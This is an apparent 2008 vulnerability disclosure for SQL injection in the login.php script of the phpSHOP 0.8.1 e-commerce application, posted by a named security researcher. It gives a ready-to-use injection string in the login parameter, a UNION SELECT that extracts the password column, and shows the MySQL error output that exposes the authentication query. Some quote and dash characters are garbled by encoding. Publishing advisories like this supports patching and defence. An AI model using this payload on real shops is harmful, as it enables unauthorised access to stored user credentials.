[+]¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª-[+]
Web Application: phpSHOP 0.8.1 SQL Injection
Description: SQL Injection in Web E-commerce OpenSource application phpSHOP
in login.php script.
[+]¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª-[+]
author: y2h4ck
e-mail: y2h4ck[ at ] gmail.com
page: http://y2h4ck.wordpress.com
[+]¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª-[+]
Vuln script: *http://shop/0.8.1/?login=1&&'[EXPLOIT]
* String: /?login=admin'
+UNION+select/**/null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
In the login/password input box you can pass some SQL Injection strings to
manipulate
the behavior of the mysql Queries to the phpSHOP
Result:
[+]¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª-[+]
*Database error:* Invalid SQL: SELECT * from auth_user_md5,user_info WHERE
auth_user_md5.username ="1==1¡ä select ¨C' AND auth_user_md5.password
='d41d8cd98f00b204e9800998ecf8427e'AND auth_user_md5.password
='d41d8cd98f00b204e9800998ecf8427e'AND auth_user_md5.user_id =
user_info.user_id AND user_info.address_type = 'BT'
*MySQL Error*: 1064 (You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near '1==1¡ä select ¨C' AND auth_user_md5.password
='d41d8cd98f00b204e9800998ecf8427e'A' at line 1)
[+]¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª-[+]
Version: 0.8.1
Vendor : www.phpshop.org
Date: 14/02/2008
[+]¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª-[+]
--
Atenciosamente
Anderson Luiz Tamborim
Information Security Manager